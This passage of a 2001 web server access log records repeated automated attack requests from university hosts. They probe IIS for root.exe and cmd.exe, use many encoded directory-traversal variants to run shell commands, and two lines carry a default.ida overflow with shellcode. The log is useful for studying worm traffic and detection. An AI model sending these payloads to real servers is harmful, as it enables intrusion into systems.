  1881. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1882. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1883. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1884. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1885. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1886. 20010918 09:54:09: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1887. 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1888. 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1889. 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1890. 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1891. 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1892. 20010918 09:54:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1893. 20010918 09:54:10: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1894. 20010918 09:56:00: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1895. 20010918 09:56:00: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1896. 20010918 09:56:00: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1897. 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1898. 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1899. 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1900. 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1901. 20010918 09:56:01: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1902. 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1903. 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1904. 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1905. 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1906. 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1907. 20010918 09:56:02: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1908. 20010918 09:56:03: TYEXCHANGE.BU.EDU [128.197.231.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1909. 20010918 09:56:03: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1910. 20010918 10:04:29: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1911. 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1912. 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1913. 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1914. 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1915. 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1916. 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1917. 20010918 10:04:30: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1918. 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1919. 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1920. 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1921. 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1922. 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1923. 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1924. 20010918 10:04:31: LJPSVA.IE.Lehigh.EDU [128.180.35.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1925. 20010918 10:04:32: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1926. 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1927. 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1928. 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1929. 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1930. 20010918 10:06:56: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1931. 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1932. 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1933. 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1934. 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1935. 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1936. 20010918 10:06:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1937. 20010918 10:06:58: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1938. 20010918 10:06:58: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1939. 20010918 10:06:58: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1940. 20010918 10:06:58: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1941. 20010918 10:06:58: dialup-1-23.cc.columbia.edu [128.59.42.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1942. 20010918 10:07:36: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1943. 20010918 10:09:22: hudson.hksm.columbia.edu [128.59.51.208] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1944. 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1945. 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1946. 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1947. 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1948. 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1949. 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1950. 20010918 10:09:23: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1951. 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1952. 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1953. 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1954. 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1955. 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1956. 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1957. 20010918 10:09:24: hudson.hksm.columbia.edu [128.59.51.208] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1958. 20010918 10:09:24: chrism.wustl.edu [128.252.53.101] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1959. 20010918 10:11:00: chrism.wustl.edu [128.252.53.101] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1960. 20010918 10:11:04: chrism.wustl.edu [128.252.53.101] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1961. 20010918 10:11:04: chrism.wustl.edu [128.252.53.101] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1962. 20010918 10:11:04: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1963. 20010918 10:11:07: chrism.wustl.edu [128.252.53.101] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1964. 20010918 10:11:07: chrism.wustl.edu [128.252.53.101] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1965. 20010918 10:11:08: chrism.wustl.edu [128.252.53.101] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1966. 20010918 10:11:08: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1967. 20010918 10:11:08: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1968. 20010918 10:11:11: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1969. 20010918 10:11:11: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1970. 20010918 10:11:12: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1971. 20010918 10:11:12: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1972. 20010918 10:11:12: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1973. 20010918 10:11:12: chrism.wustl.edu [128.252.53.101] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1974. 20010918 10:11:12: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1975. 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1976. 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1977. 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1978. 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1979. 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1980. 20010918 10:13:32: srcweb.ibr.uga.edu [128.192.63.88] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1981. 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1982. 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1983. 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1984. 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1985. 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1986. 20010918 10:13:33: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1987. 20010918 10:13:34: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1988. 20010918 10:13:34: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1989. 20010918 10:13:34: srcweb.ibr.uga.edu [128.192.63.88] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1990. 20010918 10:13:34:  [61.74.141.173] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1991. 20010918 10:14:57: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  1992. 20010918 10:16:15: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  1993. 20010918 10:16:15: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1994. 20010918 10:16:16: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1995. 20010918 10:16:19: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1996. 20010918 10:16:20: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1997. 20010918 10:16:21: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1998. 20010918 10:16:21: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  1999. 20010918 10:16:21: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2000. 20010918 10:16:22: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2001. 20010918 10:16:22: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2002. 20010918 10:16:23: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2003. 20010918 10:16:26: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2004. 20010918 10:16:27: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2005. 20010918 10:16:27: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2006. 20010918 10:16:28: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2007. 20010918 10:16:28: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2008. 20010918 10:16:38: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2009. 20010918 10:16:38: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2010. 20010918 10:16:39: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2011. 20010918 10:16:39: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2012. 20010918 10:16:40: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2013. 20010918 10:16:41: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2014. 20010918 10:16:42: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2015. 20010918 10:16:42: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2016. 20010918 10:16:43: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2017. 20010918 10:16:43: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2018. 20010918 10:16:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2019. 20010918 10:16:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2020. 20010918 10:16:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2021. 20010918 10:16:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2022. 20010918 10:16:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2023. 20010918 10:16:47: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2024. 20010918 10:20:15: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2025. 20010918 10:20:15: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2026. 20010918 10:20:16: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2027. 20010918 10:20:16: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2028. 20010918 10:20:16: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2029. 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2030. 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2031. 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2032. 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2033. 20010918 10:20:17: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2034. 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2035. 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2036. 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2037. 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2038. 20010918 10:20:18: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2039. 20010918 10:20:19: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2040. 20010918 10:20:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2041. 20010918 10:20:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2042. 20010918 10:20:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2043. 20010918 10:20:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2044. 20010918 10:20:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2045. 20010918 10:20:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2046. 20010918 10:20:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2047. 20010918 10:20:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2048. 20010918 10:20:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2049. 20010918 10:20:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2050. 20010918 10:20:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2051. 20010918 10:20:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2052. 20010918 10:20:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
